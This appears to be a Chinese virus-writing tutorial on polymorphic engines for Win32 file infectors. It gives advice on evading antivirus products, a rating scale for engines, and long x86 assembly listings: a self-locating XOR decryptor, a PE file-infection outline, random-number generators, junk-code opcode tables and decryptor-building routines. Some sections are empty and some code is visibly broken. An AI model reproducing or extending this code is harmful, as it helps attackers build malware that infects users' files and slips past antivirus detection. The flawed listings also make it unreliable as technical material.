序
"No matter death or live,I would be on your sides forever."
――James・Raynor
在很久很久以前,在遥远遥远的星系中,我想写一篇关于变形的纯理论的
文章,于是随着时间的推移,终于这篇文章诞生了......
一.变形学的基础伦理
(一).做Poly的条件
"To Poly or not to Poly,it is a problem for a vxer."
――Vxk
是否想要做Poly,一要看Vxer的想法,而是必要性――if vxer 一定要poly,
那么有没有必要就不重要了,不过如果有如下其中一种情况则非做poly不可。
1.你借用了大量他人的代码,其中一些代码很出名!(那样的话,AVer会很快
找到查杀方法)
2.你的病毒在编译时就被NAV提醒有问题。
3.你的病毒在测试时被金山报警(被瑞星报警的polyVirus也很多,所以暂时
不管他),这样的病毒最好重写。
4.你的病毒过分简单::搜索磁盘文件+感染+PayLoad:uses MessageBoxA(
太没咬头了,Aver会在半小时内XX掉它)。
5.你的病毒出奇的巨型:这样大也就不在乎再大一点了(AVer会很注意这样东西)。
6.你的病毒要潜伏一个星期!!!(一般没Poly的Virus,Aver一个小时就会XX
掉了――一个星期别开了)。
好了暂时就这些了,你的病毒如果没上面的问题――奇怪了,你用的是Ring0Virus
Tech?
hehe,我需要讲一下哪几种情况千万不要Poly::
1.Ring0病毒::用Poly会发生一些可爱的错误,除非你对ring0十分了解。
2.试验型病毒::你只是要实验新技术,没必要用poly,那样会影响实验的。
3.礼物型病毒::你想让你的朋友痛苦吗?那就用Poly吧(你的朋友是AVER,
那就用,看看他的水平如何?)
OK,这就是Poly的条件了。
下面,我们要看看Poly的等级划分了。
(二)给poly打分的计算方法
"It is hard for an aver to recode and kill an eight-level-mark poly virus."
――Vxk
通常拿到一个Virus放进VM,得到反汇编的代码――如果有poly,(AVERZ)我们会给
poly打分。打分是一种划分poly等级的通用方法::
开始计分为:0分
打分标准::
1.有多随机种子选取系统,+0.5分(以下就不写分字了)
2.有随机寄存器和加密算法选取(注意是选取),+0.5
3.有随机垃圾代码生成,+0.5
4.有加密算法自生成,+0.5
5.生成加密算法大小大于0.5KB,+0.5
6.能随机插入抗静态反汇编代码,+0.5
7.能调整非加解密部分的代码所用寄存器的,+0.5
8.能对Poly Engine部分的代码可进行部分代码称块状的随机加密变形,+0.5
9.能够进行代码压缩的,+0.5
10.压缩使用多种算法随机选取,+0.5
11.能进行分块时代码压缩,+0.5
12.能对全部代码实现分块式随机加密变形,+0.5
13.具有多poly的多层壳结构块式变形能力,+1
14.具有遗传演化变形能力,+1
15.使用64位指令系统,如SSE,MMX,3d!now等等,+1
16.使用抗VM分析的特殊代码,+1
总共10分,能够取得5-6分就是不错的polyVirus了(什么得了10分?你写的!?救护车!!)
OK.在此基础上,我们来划分poly的种类
(三)写poly的一些基础准备
"No matter knowing or unkowning,I will tell you the way there"
――Zetarul
如何去写一个Poly是一个很重要的问题,通常写Poly之前都要有几个准
备工作::
1.一本Intel i386 的手册,一本AMD手册
2.x86汇编手册(如果你对ASM了如指掌,就免了)
3.Poly的等级定位,如同做游戏一样,你不能一开始就写一个StartCraft
出来。所以建议定位到3-4.5就行了。(8!?你发疯了??)
OK,现在给出一个PolyVirus的构架,下一章我们将讲Poly的一些技术问题
;引自pkxp的贴子
1. 定位
Call Delta
Delta:
pop ebp
sub ebp,offset Delta
mov dword ptr [ebp+appBase],ebp
2. 解密代码
lea edi , [ebx + offset EncryptStart]
mov ecx , VEnd - EncryptStart
DecryptLoop:
xor byte ptr [edi] , 00h
key=byte ptr $-1
inc edi
loop DecryptLoop
EncryptStart:
call GetKBase ;得到hKernel
call GetAPIz ;得到api地址
2. 感染一个文件
1)分析合法性
2)添加一个节
3)这里不能直接写入病毒代码,要如下工作:
a. pMem=VirtualAlloc(VEnd-VStart...)
b. mov esi,offset VStart
mov edi,pMem
mov ecx,VEnd-VStart
rep movsb ;移动病毒代码到新开辟区
eax = pMem + (Key-VStart)
mov eax,11h ;key=11h
esi = pMem + (EncryptStart-VStart)
edi = esi
;下面循环
loadsb
xor al,11h ;key
stosb
c. WriteFile(pMem...VEnd-VStart)
此时写入的是加密代码。
二。Poly的实际编写时遇到的问题的解决方法与方案
(一)插入一段代码的方法
"En Taro Adun,thanx to the AuirSha.You're alive now."
――Vxk
有上可以看到Poly的关键是插入解密代码(变形恢复?不必要吧)
那么要如何才能插入一段代码呢?现在让我来告诉你们::主要用到两
个指令Movsy和Stosy(y=b/w)
看看这个代码::
CLD;调整地址,很重要,有时不必要写这个
lea edi,[ebp+offset Decry]
;将Decry的地址装入edi
mov eax,0h
mov ecx,[ebp+Decry_len];装入DEcry的大小
rep stosy
;清空Decry的内容
;这是为了重新写入新的代码
lea edi,[ebp+offset Decry]
mov esi,NewDeCry_addr
mov ecx,DEcry_len
rep movsy
;不用讲了吧
这段代码将定长的DEcry清除,写入新的Decry,不过有些缺点::
只适合预先留好空隙的Virus,just
like this code
VStart:
Call gdelta
@I0 MAX_Length dup (90h)
gdelta:
pop ebp
lea ebp,[ebp-offset gdelta]
@I1 256 dup (90h)
V_Real:
@I2 Max_length dup (90h)
这样一堆一堆的Nop看的就不舒服,而且AVER只要在特定位置XX你的DEcry就OK了。
那么怎样改进呢?
hh~~,这个简单你难道不知道吗?看下一段吧。
(二)代码整合的问题的解决方法
"Benny,I think it very hard for me to anti your code."
――Vxk
(三)动态代码生成技术中的难题
"Active on time, it is a great problem for a virus coder."
――Jhon.A
难点主要有代码大小的计算和代码生成两个部分::
这里就不再写代码来描述解决方案了,主要就是两个字::手册,你想写得绝妙,
就把一本intel i386指令集手册的机器码及大小写进去吧...目前还没有好方法。
我想大家一定知道随机数的生成对poly的随机生成代码,选择寄存器,分块选择等
功能起着决定性。于是选择一个好的随机数算法是非常重要的事情,现在让我们看一下
一些随机数的生成算法::
A.最常见的随机算法::
;选自Pkxp的win32.simplypoly.19xx
;不是很好的算法...过分简单
Random PROC Seed: DWORD ;返回值在eax中。
mov eax , 12345678h
_GetTickCount = dword ptr $-4
call eax
xor edx , edx
div Seed
xchg edx , eax ;需要的是余数,在edx中。
ret 4
Random ENDP
;样例::
push 4
Call Random
B.常用的算法::
;选自win32.XXX.16xx by Benny.
Randomize proc
pushad
_rnd_:dw 310fh;这里用了一个intel pentium 上出现的指令::0f 31 RDTSC
db (Max_path-2) dup (90h) ;using the intel asmcode to produce a seed rnd num
add eax,edx
mov [ebp+_Seed],eax
popad
retn
Randomize Endp
RandNum Proc
pushad
push eax
push edx
mov eax,[ebp+_Seed]
mov ecx,41c64e6dh;小m数列
mul ecx
add eax,3039h;修正
mov [ebp+_Seed],eax
xor edx,edx
div dword ptr [esp+0ch];取参数,别说你不会用esp
xchg eax,edx
add [ebp+_Seed],eax
pop edx
pop eax
popad
ret 4
RandNum Endp
;样例::
Call Randomize
push 4f;参数
Call RandNum
C.最NX的算法::
;选自??,好像还没有人用这种算法做poly Engine.
; 即将出现在我的Poly Engine ::Vxk's Death Engine.
;
MCoef_32_0 DD E7BD2160H
MCoef_32_1 DD DA3A2A9CH
// 两个小m序列系数
m_Seq_32_m proc dwMset:DWORD,dwKey:DWORD,nNumber:DWORD,pdwRandom:DWORD
; dwMset: 随机发生器所使用的小m序列
; dwKey: 随机数种子
; nNumber: 产生的随机序列长度(以DWORD为单位)
; pdwRandom: 指向随机数存储空间的指针
CLD
MOV EDI,pdwRandom;
MOV ECX,nNumber;
MOV ESI,dwMset;
MOV EAX,dwKey;
ALIGN 4; what it is?
LOOP_CIRCLE1:
PUSH ECX
MOV ECX,32
LOOP_CIRCLE2:
MOV EBX,EAX;
SHL EAX,1
AND EBX,ESI;select the bit for xor
MOV EDX,EBX;
BSWAP EBX;
XOR BX,DX;
XOR BH,BL; because P only judge one byte
;so must XOR to judge the p of whole word
JP NEXT ;jp equals the xor
INC EAX
NEXT: DEC ecx
JNZ LOOP_CIRCLE2
POP ECX
STOSD
DEC ECX
JNZ LOOP_CIRCLE1
mov edx,eax
m_Seq_32_m ENDP
RandomGenerator proc Buffer:DWORD,nlength:DWORD
; 产生长度为nLength字节的随机数
; Buffer: 指向随机数存放区域的指针
; nLength: 产生随机数数量
LOCAL A:DWORD;
B 4 DUP(0)
RDTSC
MOV A,EAX
CALL m_Seq_32_m,[EBP+MCoef_32_0],A,nLength/4,Buffer
mov edx,nLength
div edx,4h
mov eax,edx
mul eax,4h
cmp eax,nLength
jnz FV
FV:
CALL m_Seq_32_m,[EBP+MCoef_32_1],A,1,[EBP+B]
lea esi,[ebp+offset B]
lea edi,[offset Buffer+(nlength/4)*4]
mov ecx,edx
rep movsb
ret
RandomGenerator ENDP
;样例::
;调用A的Random
push 12dfeabh
Call Random
mov [ebp+myseed],eax
;调用B的Randomize和RandNum
Call Randomize
push [ebp+myseed]
Call RandNum
;调用我们的RandmGenerator
push [ebp+_Seed]
push [ebp+myKey]
Call RandomGenerator
至此我们对随机数有了一个基本的了解,XX~~以后还会再次提到随机的问题...
二.Blocks codes Poly的理论实现
(一).如何分块?
"I would like to fight against the enemies,not to stay at the Nexu's Talbe."
―― Astraint
现在我们来思考这个问题,OK_你有想法了?好大家一起来看一个BlocksPolyVirus(没有使用
整合技术的)的构架代码
::
"生命在于变化..."
(一).干扰代码的生成
"June Me,sir"
――Sv/Ter13x(i do not what group is named ter13x.)
June Code是Poly的精华之处,是poly的完美之处,是我们做poly的精要之处...
(略去几万字的废话)
好了我们现在开始思考这个问题,首先关于June Code的选择方法?
我觉得June Code的选择应该很容易::
下面是几个方案::::
方案A,代码选择法::我们必须有一个JuneCode_table,这样采用Simplepoly的方
法即可生成*个June code了,不过方案过于简单
方案B,代码生成法::我们必须了解Opcode和指令格式,然后...但是实现代码过长
这里只做简单的描述代码
方案C,代码重编译法::我觉得生成汇编指令串::如::'Mov eax,edx'之类的代码
比较简单,只是需要写一个汇编引擎,很复杂...不过在Mute中我们还会再一次
使用汇编引擎,所以写一个引擎不是什么损失。
方案代码::
方案A::
;引自Pkxp的Simplepoly
SelectOpcodes:
push 5
pop ecx ;每次写6个bytes,循环5次=30d.
@SOStart:
push 20d
call Random
.IF AL < 4d
call @SelectOpcode_6B ;选择个6字节代码插入
.ELSEIF AL < 8d
call @SelectOpcode_1B ;1个字节
call @SelectOpcode_5B ;5个字节,下同
.ELSEIF AL < 12d
call @SelectOpcode_5B
call @SelectOpcode_1B
.ELSEIF AL < 14d
call @SelectOpcode_2B
call @SelectOpcode_2B
call @SelectOpcode_2B
.ELSEIF AL < 17d
call @SelectOpcode_2B
call @SelectOpcode_1B
call @SelectOpcode_2B
call @SelectOpcode_1B
.ELSE
call @SelectOpcode_1B
call @SelectOpcode_2B
call @SelectOpcode_2B
call @SelectOpcode_1B
.ENDIF
LOOP @SOStart
ret
;**************************************************************
@6Bytes:
db 081h, 0C2h ;add edx
db 081h, 0C6h ;add esi
db 081h, 0EAh ;sub edx
db 081h, 0EEh ;sub esi
db 081h, 0F2h ;xor edx
db 081h, 0F6h ;xor esi
db 069h, 0C0h ;imul eax
db 069h, 0D2h ;imul edx
db 069h, 0F6h ;imul esi
db 081h, 0E2h ;and edx
db 081h, 0E6h ;and esi
db 081h, 0CAh ;or edx
db 081h, 0CEh ;or esi
@SelectOpcode_6B:
push ($ - @6Bytes)/2
call Random
lea esi , [ebx + offset @6Bytes + eax*2]
movsw
stosd ;把eax中随即数写入
ret
@5Bytes:
db 0B8h ;mov eax
db 0BAh ;mov edx
db 0BEh ;mov esi
db 005h ;add eax
db 02Dh ;sub eax
db 035h ;xor eax
db 025h ;and eax
db 0D7h ;or eax
@SelectOpcode_5B:
push ($ - @5Bytes)
call Random
lea esi, [ebx + offset @5Bytes + eax]
movsb
stosd
ret
@2Bytes:
db 001h, 0C0h ;add eax, eax
db 031h, 0C0h ;xor eax, eax
db 001h, 0D2h ;add edx, edx
db 031h, 0D2h ;xor edx, edx
db 001h, 0D0h ;add eax, edx
db 031h, 0D0h ;xor eax, edx
db 031h, 0C2h ;xor edx, eax
db 001h, 0F6h ;add esi, esi
db 031h, 0F6h ;xor esi, esi
@SelectOpcode_2B:
push ($ - @2Bytes)/2
call Random
lea esi, [ebx + offset @2Bytes + eax*2]
movsw
ret
@1Byte:
db 046h ;inc esi
db 04Eh ;dec esi
db 040h ;inc edx
db 042h ;inc eax
db 04Ah ;dec edx
db 048h ;dec eax
db 092h ;xchg edx, eax
db 096h ;xchg esi, eax
@SelectOpcode_1B:
push ($ - @1Byte)
call Random
lea esi, [ebx + offset @1Byte + eax]
movsb
ret
方案B:
;我自己写的可能有错误。
;还存有优化的余地..
Asm_Table_Begin:
;+------------+-------------+----------+ +------------+-------------+----------+
;| Assembleur | Hex | Binaire | | Assembleur | Hex | Binaire |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push eax | 50 | 01010000 | | pop eax | 58 | 01011000 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push ebx | 53 | 01010011 | | pop ebx | 5B | 01011011 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push ecx | 51 | 01010001 | | pop ecx | 59 | 01011001 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push edx | 52 | 01010001 | | pop edx | 5A | 01011010 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push esi | 56 | 01010110 | | pop esi | 5E | 01011110 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push edi | 57 | 01010111 | | pop edi | 5F | 01011111 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push ebp | 55 | 01010101 | | pop ebp | 5D | 01011101 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| push esp | 54 | 01010100 | | pop esp | 5C | 01011100 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| pusha | 60 | 01100000 | | popa | 61 | 01100001 |
;+------------+-------------+----------+ +------------+-------------+----------+
;| pushf | 9C | 10011100 | | popf | 9D | 10011101 |
;+------------+-------------+----------+ +------------+-------------+----------+
Asm_pop_table:
db 9Dh
db 61h
db 5Ch
db 5Dh
db 5Fh
db 5eh
db 5ah
db 59h
db 5bh
db 58h
Asm_pop_table_end:
Asm_push_table:
db 9Ch
db 90h
db 54h
db 55h
db 57h
db 56h
db 52h
db 51h
db 53h
db 50h
Asm_push_table_end:
Asm_xxxreg1reg2_table:
db 8BH,C0H ;我们在添入reg时使用::add al,regx
db 8BH,D8h ;regx=0XXX0000b=X0h
db 8Bh,8Ch
db 8Bh,0Dh
db 8Bh,0Dh
db 8Bh,8Fh
;db FFh,30h
db 33h,C0h
db 33h,D8h
db 33h,C8h
db 33h,D0h
db 33h,F0h
db 33h,F8h
db 85h,C0h
db 85h,D8H
db 85h,C8H
db 85h,D0H
db 85h,F0H
db 85h,F8H
db 03h,C0h
db 03h,D8h
db 03h,C8h
db 03h,D0h
db 03h,F0h
db 03h,F8h;03C0
db 2Bh,C0h
db 2Bh,D8h
db 2Bh,C8h
db 2Bh,D0h
db 2Bh,F0h
db 2Bh,F1h
db 3Bh,C0h
db 3Bh,D8h
db 3Bh,C8h
db 3Bh,D0h
db 3Bh,F0h
db 3Bh,F8h
db 8Bh,00h
db 8Bh,18h
db 8Bh,08H
db 8Bh,10H
db 8Bh,30H
db 8Bh,38H
db 0Bh,C0H
db 0Bh,D8H
db 0Bh,C8H
db 0Bh,D0H
db 0Bh,F0H
db 0Bh,F8H
Asm_xxxreg1reg2_end:
Asm_xxxregimm32_table1:
db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh
db BBh,00h,00h,00h,00h
db B9h,00h,00h,00h,00h
db BAh,00h,00h,00h,00h
db BEh,00h,00h,00h,00h
db BFh,00h,00h,00h,00h
;db 68h,00h,00h,00h,00h
db A9h,00h,00h,00h,00h
db 35h,00h,00h,00h,00h
db 05h,00h,00h,00h,00h
db 2Dh,00h,00h,00h,00h
db 3Dh,00h,00h,00h,00h
Asm_xxxregimm32_table2:
db F7h,C3h,00h,00h,00h,00h
db F7h,C1h,00h,00h,00h,00h
db F7h,C2h,00h,00h,00h,00h
db F7h,C6h,00h,00h,00h,00h
db F7h,C7h,00h,00h,00h,00h
db 81h,F3h,00h,00h,00h,00h
db 81h,F1h,00h,00h,00h,00h
db 81h,F2h,00h,00h,00h,00h
db 81h,F6h,00h,00h,00h,00h
db 81h,F7h,00h,00h,00h,00h
db 81h,C3h,00h,00h,00h,00h
db 81h,C1h,00h,00h,00h,00h
db 81h,C2h,00h,00h,00h,00h
db 81h,C6h,00h,00h,00h,00h
db 81h,C7h,00h,00h,00h,00h
db 81h,EBh,00h,00h,00h,00h
db 81h,E9h,00h,00h,00h,00h
db 81h,EAh,00h,00h,00h,00h
db 81h,EEh,00h,00h,00h,00h
db 81h,EFh,00h,00h,00h,00h
db 81h,FBh,00h,00h,00h,00h
db 81h,F9h,00h,00h,00h,00h
db 81h,FAh,00h,00h,00h,00h
db 81h,FEh,00h,00h,00h,00h
db 81h,FFh,00h,00h,00h,00h
Asm_xxxregimm32_end:
Asm_reg_table:
db 00h;eax
db 03h;ebx
db 01h;ecx
db 02h;edx
db 06h;esi
db 07h;edi
db 05h;ebp
db 04h;esp
Asm_reg_end:
;a) xchg eax, ebx --> 93h --> 1001 0011b
;b) xchg eax, ecx --> 91h --> 1001 0001b
;c) xchg eax, edx --> 92h --> 1001 0010b
;d) xchg eax, esi --> 96h --> 1001 0110b
;e) xchg eax, edi --> 97h --> 1001 0111b
;f) xchg ebx, ecx --> 87h D9h --> 10000111 11011001b
;g) xchg ebx, edx --> 87h DAh --> 10000111 11011010b
;h) xchg ebx, esi --> 87h DEh --> 10000111 11011110b
;i) xchg ebx, edi --> 87h DFh --> 10000111 11011111b
;j) xchg ecx, edx --> 87h CAh --> 10000111 11001010b
;k) xchg ecx, esi --> 87h CEh --> 10000111 11001110b
;l) xchg ecx, edi --> 87h CFh --> 10000111 11001111b
;m) xchg edx, esi --> 87h D6h --> 10000111 11010110b
;n) xchg edx, edi --> 87h D7h --> 10000111 11010111b
;o) xchg esi, edi --> 87h F7h --> 10000111 11110111b
Asm_Xchg_table1:
db 93h
db 91h
db 92h
db 96h
db 97h
Asm_Xchg_table2:
db 87h,D9h
db 87h,DAh
db 87h,DEh
db 87h,DFh
db 87h,CAh
db 87h,CEh
db 87h,CFh
db 87h,D6h
db 87h,D7h
db 87h,F7h
Asm_Xchg_end:
; - Mov [eax], reg1: 1000 1001 00xx x000b
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [ebx], reg1: 1000 1001 00xx x011b
; - reg1=eax: xx x = 00 0
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [ecx], reg1: 1000 1001 00xx x001b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [edx], reg1: 1000 1001 00xx x010b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=esi: xx x = 11 0
; - reg1=edi: xx x = 11 1
;- Mov [esi], reg1: 1000 1001 00xx x110b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=edi: xx x = 11 1
;- Mov [edi], reg1: 1000 1001 00xx x111b
; - reg1=eax: xx x = 00 0
; - reg1=ebx: xx x = 01 1
; - reg1=ecx: xx x = 00 1
; - reg1=edx: xx x = 01 0
; - reg1=esi: xx x = 11 0
Asm_MovExReg1Reg2_table:
db 89h,00H
db 89h,03H
db 89h,01H
db 89h,02H
db 89h,06H
db 89h,07H
Asm_MovExReg1Reg2_end:
;- inc eax: 40h
;- inc ebx: 43h
;- inc ecx: 41h
;- inc edx: 42h
;- inc esi: 46h
;- inc edi: 47h
Asm_IncDec_table:
db 40h
db 43H
db 41h
db 42h
db 46h
db 47h
db 48h
db 4Bh
db 49h
db 4Ah
db 4Eh
db 4Fh
Asm_IncDec_end:
; - dec eax: 48h
; - dec ebx: 4Bh
; - dec ecx: 49h
; - dec edx: 4Ah
; - dec esi: 4Eh
; - dec edi: 4Fh
Asm_Jump_table1:
; a) JMP SHORT --> EBh data8
; b) JMP NEAR --> E9h data16
; c) JBE/JNA --> 76h data8
; d) JLE/JNG --> 7Eh data8
; e) JB/JNAE/JC --> 72h data8
; f) JL/JNGE --> 7Ch data8
; g) JZ/JE --> 74h data8
; h) JNE/JNZ --> 75h data8
; i) JAE/JNB/JNC --> 73h data8
; j) JGE/JNL --> 7Dh data8
; k) JA/JNBE --> 77h data8
; l) JG/JNLE --> 7Fh data8
; m) JCXZ --> E3h data8
; n) JNO --> 71h data8
; o) JO --> 70h data8
; p) JP/JPE --> 7Ah data8
; q) JNP/JPO --> 7Bh data8
; r) JNS --> 79h data8
; s) JS --> 78h data8
; t) LOOP --> E2h data8
; u) CALL SHORT --> E8h data8
db EBh,00h
db 76h,00h
db 7Eh,00h
db 72h,00h
db 7Ch,00h
db 74h,00h
db 75h,00h
db 73h,00h
db 7Dh,00h
db 77h,00h
db 7Fh,00h
db E3h,00h
db 71h,00h
db 70h,00h
db 7Ah,00h
db 7Bh,00h
db 79h,00h
db 78h,00h
; Asm_Jump_table2:
; db E9h,00h,00H
Asm_Jump_end:
;Asm_Callshort db E8h,00h
;Asm_Loop db E2h,00h
Asm_ret_table:
; v) RETN --> C3h
; w) RETF --> CBh
; x) IRET --> CFh
db C3h
db CBh
db CFh
Asm_ret_end:
Asm_Table_End:
Asm_LeaRegImm32_Table:
db 8Dh,85h,00h,00h,00h,00h;eax
db 8Dh,9Dh,00h,00h,00h,00h;ebx
db 8Dh,8Dh,00h,00h,00h,00h;ecx
db 8Dh,95h,00h,00h,00h,00h;edx
db 8Dh,B5h,00h,00h,00h,00h;esi
db 8Dh,BDh,00h,00h,00h,00h;edi
Asm_LeaRegImm32_end:
Asm_XorReg1Reg2_Table:
db 33h,C0h;eax
db 33h,D8h;ebx
db 33h,C8h;ecx
db 33h,D0h;edx
db 33h,F0h;esi
db 33h,F8h;edi
Asm_XorReg1Reg2_end:
;- si reg = eax, 05h xxh xxh xxh xxh
;- si reg = ebx, 81h C3h xxh xxh xxh xxh
;- si reg = ecx, 81h C1h xxh xxh xxh xxh
;- si reg = edx, 81h C2h xxh xxh xxh xxh
;- si reg = esi, 81h C6h xxh xxh xxh xxh
;- si reg = edi, 81h C7h xxh xxh xxh xxh
Asm_AddRegImm32_table:
db 05h,00h,00h,00h,00h
db 81h,C3h,00h,00h,00h,00h
db 81h,C1h,00h,00h,00h,00h
db 81h,C2h,00h,00h,00h,00h
db 81h,C6h,00h,00h,00h,00h
db 81h,C7h,00h,00h,00h,00h
Asm_AddRegImm32_end:
Asm_SubRegImm32_table:
; - si reg = eax, 2Dh xxh xxh xxh xxh
; - si reg = ebx, 81h EBh xxh xxh xxh xxh
; - si reg = ecx, 81h E9h xxh xxh xxh xxh
; - si reg = edx, 81h EAh xxh xxh xxh xxh
; - si reg = esi, 81h EEh xxh xxh xxh xxh
; - si reg = edi, 81h EFh xxh xxh xxh xxh
db 2Dh,00h,00h,00h,00h
db 81h,EBh,00h,00h,00h,00h
db 81h,E9h,00h,00h,00h,00h
db 81h,EAh,00h,00h,00h,00h
db 81h,EEh,00h,00h,00h,00h
db 81h,EFh,00h,00h,00h,00h
Asm_SubRegImm32_end:
; - Test eax, reg2: 1000 0101 1100 0xxxb
; - Test ebx, reg2: 1000 0101 1101 1xxxb
; - Test ecx, reg2: 1000 0101 1100 1xxxb
; - Test edx, reg2: 1000 0101 1101 0xxxb
; - Test esi, reg2: 1000 0101 1111 0xxxb
;- Test edi, reg2: 1000 0101 1111 1xxxb
Asm_TestReg1Reg2_table:
db 85h,C0h
db 85h,D8H
db 85h,C8H
db 85h,D0H
db 85h,F0H
db 85h,F8H
Asm_TestReg1Reg2_end:
Asm_TestRegImm32_table:
; - Test eax, imm32: A9h XXh XXh XXh XXh
; - Test ebx, imm32: F7h C3h XXh XXh XXh XXh
; - Test ecx, imm32: F7h C1h XXh XXh XXh XXh
; - Test edx, imm32: F7h C2h XXh XXh XXh XXh
; - Test esi, imm32: F7h C6h XXh XXh XXh XXh
; - Test edi, imm32: F7h C7h XXh XXh XXh XXh
db A9h,00h,00h,00h,00h
db F7h,C3h,00h,00h,00h,00h
db F7h,C1h,00h,00h,00h,00h
db F7h,C2h,00h,00h,00h,00h
db F7h,C6h,00h,00h,00h,00h
db F7h,C7h,00h,00h,00h,00h
Asm_TestRegImm32_end:
Asm_movregimm32_table:
db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh
db BBh,00h,00h,00h,00h
db B9h,00h,00h,00h,00h
db BAh,00h,00h,00h,00h
db BEh,00h,00h,00h,00h
db BFh,00h,00h,00h,00h
Asm_movregimm32_end:
;-mov reg,imm32:
; - si reg = eax, B8h xxh xxh xxh xxh
; - si reg = ebx, BBh xxh xxh xxh xxh
; - si reg = ecx, B9h xxh xxh xxh xxh
; - si reg = edx, BAh xxh xxh xxh xxh
; - si reg = esi, BEh xxh xxh xxh xxh
; - si reg = edi, BFh xxh xxh xxh xxh
Asm_reg_table:
db 00h;eax
db 03h;ebx
db 01h;ecx
db 02h;edx
db 06h;esi
db 07h;edi
; db 05h;ebp
; db 04h;esp
Asm_reg_end:
;in eax==addr of @decry_XX_I0
; ebx==addr of @decry_XX_Imain
; ecx==length of @decry_XX_I0
; edx==length of @decry_XX_Imain
; ebp==delta!!!
ChoiseDecryCode:
;使用Decry的方法::
;XXX:
; @Seh_SetupFrame <jmp @decry_xxx_I0>
;@june_code:db 32*4 Dup (90h)
;@decry_xxx_I0: db 32*4 DUP(90h)
;@decry_xxx_Imain:db 32*4 DUP(90)
;@decry_xxx_Iend:jnz @decry_xxx_Imain
;XXX_r:实际代码
mov [ebp+addr1],eax
mov [ebp+addr2],ebx
mov [ebp+CTN],00h
pushad
lea esi,[ebp+DecryTempCode1]
mov eax,00h
mov ecx,32*4
rep stosb
lea esi,[ebp+DecryTempCode2]
mov eax,00h
mov ecx,32*4
rep stosb
Call ChoiseKeyReg
Call ChoiseAddrReg
Call ChoiseLenReg
rep movsw
Call ChoiseCodeToXor
Call ChoiseCodeToAdd
Call ChoiseCodeToSub
Call ChoiseCodeToTest
rep movsw
popad
ret
ChoiseKeyReg:
mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
;div eax,2h
push eax
Call GetARnd
mov bl,[ebp+offset asm_reg_end+eax]
mov [ebp+KeyReg],bl
mov [ebp+KeyNum],eax
mul eax,5h
lea esi,[ebp+offset asm_movregImm32_table+eax]
lea edi,[ebp+DecryTempCode1]
mov ecx,5h
rep movsw
sub edi,8h
mov ebx,[ebp+CryKey]
; not ebx
lea esi,[ebx]
mov ecx,2h
rep movsd
ret
ChoiseAddrReg:
push edi
push eax
rndreg:
pop eax
mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
;div eax,2h
push eax
Call GetARnd
mov bl,[ebp+offset asm_reg_end+eax]
mov [ebp+AddrNum],eax
push eax
mov al,[ebp+KeyReg]
mov [ebp+AddrReg],bl
cmp bl,al
jz rndreg
R_0:
pop eax
mul eax,6h
lea esi,[ebp+offset asm_learegImm32_table+eax]
pop edi
mov ecx,6h
rep movsw
sub edi,8h
mov ebx,[ebp+Addr_XXX_r]
;not ebx
lea esi,[ebx]
mov ecx,2h
rep movsd
ret
ChoiseLenReg:
push edi
push eax
rndreg_1:
mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
;div eax,2h
push eax
Call GetARnd
mov bl,[ebp+offset asm_reg_end+eax]
mov [ebp+lenNum],eax
push eax
mov al,[ebp+KeyReg]
mov [ebp+LenReg],bl
cmp bl,al
jz rndreg_1
mov bl,[ebp+LenReg]
mov al,[ebp+AddReg]
cmp al,bl
jz rndreg_1
R_1:
pop eax
mul eax,5h
lea esi,[ebp+offset asm_movregImm32_table+eax]
pop edi
mov ecx,5h
rep movsw
sub edi,8h
mov ebx,[ebp+lenof_XXX_r]
;not ebx
lea esi,[ebx]
mov ecx,2h
rep movsd
lea edi,[ebp+Addr1]
lea esi,[ebp+DeCryTempCode1]
mov ecx, 10h
ret
ChoiseCodeToXor:
mov eax,[ebp+AddrNum]
mul eax,2h
lea esi,[ebp+offset asm_xorreg1reg2_table+eax]
lea edi,[ebp+DecryTempCode2]
mov ecx,2h
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
mov eax,[ebp+KeyNum]
mov bl,[ebp+offset asm_reg_end+eax]
mov edx,[ebp+DecryTempCode2]
not edx
add dl,bl
not edx
mov [ebp+DecryTempCode2],edx
ret
ChoiseCodeToAdd:
push edi
mov eax,[ebp+AddrNum]
.if eax!=0h then
sub eax,1h
mul eax,6h
add eax,5h
.endif
lea esi,[ebp+offset asm_AddregImm32_table+eax]
pop edi
.if eax==0h then
mov ecx,5h
.else
mov ecx,6h
.endif
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
sub edi,8h
mov ebx,[ebp+LenofKey]
;not ebx
lea esi,[ebx]
mov ecx,4h
rep movsw
ret
ChoiseCodeToSub:
push edi
mov eax,[ebp+LenNum]
.if eax!=0h then
sub eax,1h
mul eax,6h
add eax,5h
.endif
lea esi,[ebp+offset asm_SubregImm32_table+eax]
pop edi
.if eax==1h then
mov ecx,5h
.else
mov ecx,6h
.endif
mov ebx,[ebp+CTN]
add ebx,ecx
mov [ebp+CTN],ebx
rep movsw
sub edi,8h
mov ebx,[ebp+LenofKey]
;not ebx
lea esi,[ebx]
mov ecx,4h
rep movsw
ret
